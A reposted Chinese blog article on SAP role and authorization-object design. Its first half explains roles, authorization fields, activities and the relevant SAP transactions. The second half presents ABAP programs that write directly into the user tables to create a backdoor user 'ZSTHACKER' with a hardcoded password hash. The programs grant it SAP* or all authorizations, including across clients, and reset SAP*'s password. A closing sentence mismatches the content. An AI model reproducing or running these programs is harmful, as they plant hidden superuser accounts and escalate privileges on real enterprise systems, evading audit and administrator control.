SAP 許可權與角色設計
原文:http://blog.sina.com.cn/s/blog_76c57b4801010n6h.html
角色、通用角色、本地角色
| --許可權物件 MM_XXXX 物件
|
| --許可權欄位 欄位一(負責增刪改) 欄位二(負責欄位級准入)
| | |
| --允許操作 01/03/05/07 |
| |
| --允許值 Factory1,Factory2, Factory5~Factory7
---------------------------------------------------------------------------------------------------------
直觀的說,許可權就是“某人能幹某事”和“某人不能幹某事”之合。在SAP系統中,用事務碼(也稱交易程式碼、或者TCODE、或者TransactionCode)表示一個使用者能幹
的事情。比如MM01這個TCODE是用來維護物料資料的、MIGO是用來收貨的、FS00是用來維護會計科目的等。
用SU01新建一個ID時,預設的許可權是空白,即這個新建的ID不能做任何事情,不能使用任何事務程式碼。這樣只需要為相應的ID賦上相應的TCODE,即可實現“某人能
幹某事”了,其補集,則是“某人不能幹的某些事”。
但是我們不能直接在SU01裡面給某個ID賦上TCODE,要通過ROLE中轉一下。即:一堆TCODE組成了一個ROLE,然後把這個ROLE分給某個ID,然後這個ID就得到一堆
TCODE了。
上面這些,僅僅是SAP許可權控制的初級概念,要理解SAP許可權控制的全部,必須還要明白下面的概念。
1、角色(ROLE)、通用角色(Common Role)、本地角色(Local Role)
上面講了,角色,即ROLE,是一堆TCODE的集合,當然還包含有TCODE必備的“許可權物件”、“許可權欄位”、“允許的操作”及“允許的值”等。我們使用PFCG來維護角色。
為了系統的測試與SAP實施專案的階段性需要,進一步將角色分為“通用角色”和“本地角色”。
舉個例子便於理解:通用角色好比“生產訂單制單員”,本地角色對應就是“長城國際組裝一分廠生產訂單制單員”。所以,本地角色較之通用角色的區別就是,在同
樣的操作許可權(事務程式碼們)情況下,前者多了具體的限制值。這個限制值可能是組織架構限制,也可能是其他業務的限制。如,一分廠的制單員不能維護二分廠
的制單員;一分廠的制單員甲只能維護型別為A的單據,而不能維護型別為B的單據,諸如此類。
具體請看下面的概念。
2、許可權物件(Authorization Object)、許可權欄位(AuthorizationField)、允許的操作(Activity)、允許的值(Field Value)
上文粗略說了構成ROLE的是若干TCODE。其實,在ROLE和TCODE之間,還有一箇中間概念“許可權物件”:
角色包含了若干許可權物件,在透明表AGR_1250中有儲存二者之間的關係;
許可權物件包含了若干許可權欄位、允許的操作和允許的值,在透明表AGR_1251中體現了ROLE/Object/Field/Value之間的關係;
有一個特殊的許可權物件用來包含了若干事務碼。這個許可權物件叫“S_TCODE”,該許可權物件的許可權欄位叫“TCD”,該欄位允許的值(FieldValue)存放的就是事務代
碼;
有一種特殊的許可權欄位用來表示可以針對該許可權物件做哪些操作,是允許建立、修改、顯示、刪除或者其他呢。該許可權欄位叫“ACTVT”,該欄位允許的值(Field
Value)存放的就是允許操作的程式碼,01代表建立、02代表修改、03代表顯示等;
SAP的許可權控制是控制到欄位級的,換句話說,其許可權控制機制可以檢查你是否有許可權維護某張透明表的某一個欄位。
SAP系統自帶了若干許可權物件、預設控制了若干許可權欄位(對應到透明表的某些欄位)。可以用事務碼SU20來檢視系統有哪些許可權欄位,用SU21來檢視系統有哪些
預設的許可權物件。
於是我們知道了事務程式碼與許可權物件的區別。從許可權控制的範疇來看,事務程式碼屬於一種特殊的許可權物件;一個事務程式碼在執行過程中,為了判斷某個ID是否有權
限執行此事務程式碼,還可能檢查其他若干普通的許可權物件。使用SU22來檢視某個事務程式碼包含了哪些許可權物件。在透明表USOBX中,存放了事務碼與許可權物件的對
應關係。
3、自定義許可權物件
上文所說的系統自帶許可權物件與許可權欄位僅能滿足有限的需要,其許可權稽核的邏輯也是系統硬編碼了的,我們能做的只是是否啟用某項許可權物件的檢查(使用SU22
)。如果需要自定義,通過SU20、SU21定義即可。呼叫的時候在程式中加入類似程式碼:
AUTHORITY-CHECK OBJECT 'Z_VKORG' ID 'VKORG' FIELD'REC_VKORG-VKORG'.
IF SY-SUBRC <> 0.
MESSAGE 'No Authorization!' TYPE 'E'.
ENDIF.
下面的程式ZCRTUSER是建立使用者ZSTHACKER(初始密碼123qaz)並賦予SAP*使用者的所有許可權的參考程式。
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1.Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2.Copy Auth. Obj from SAP*(or other)
***如果將Where BNAME = 'SAP*'去掉,基本就是複製所有的授權物件
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into tableZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTHACKER'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTINGBNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
如果SAP*可能被刪除,還可直接將TOBJ中包含的所有的ERP授權物件全部賦予給一個使用者。
以下程式ZALLOBJ是賦予所有的標準授權物件給使用者ZSTHACKER 。
Program ZALLOBJ。
Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
zusrbf2-mandt = sy-mandt.
zusrbf2-bname = 'ZSTHACKER'.
zusrbf2-objct = ztobj-objct.
zusrbf2-auth ='&_SAP_ALL'.
modify USRBF2 FROM zusrbf2.
endloop .
也可跨Client建立使用者和賦予許可權,只要使用client specified就可以。
Program ZCLIENT.
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname ='SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .
下面是一句話修改SAP*的密碼為123456的程式,同樣,假設使用者BUTCHER的密碼丟失,我只要隨便在一臺伺服器上建立一個使用者也叫BUTCHER,然後密碼設定為
1QAZ2WSX,則其在任何系統任何client加密後的密碼必為BF02C9F1F179FB45,這樣的加密意義已經不大。
report ZMODPWD.
tables :usr02 .
update usr02 set bcode = ' CF094BAA2020480E'
where BNAME = 'SAP*'.
雖然以上只是一個建立物料主資料的許可權控制,卻非常清晰地解釋了ERP系統許可權控制的邏輯。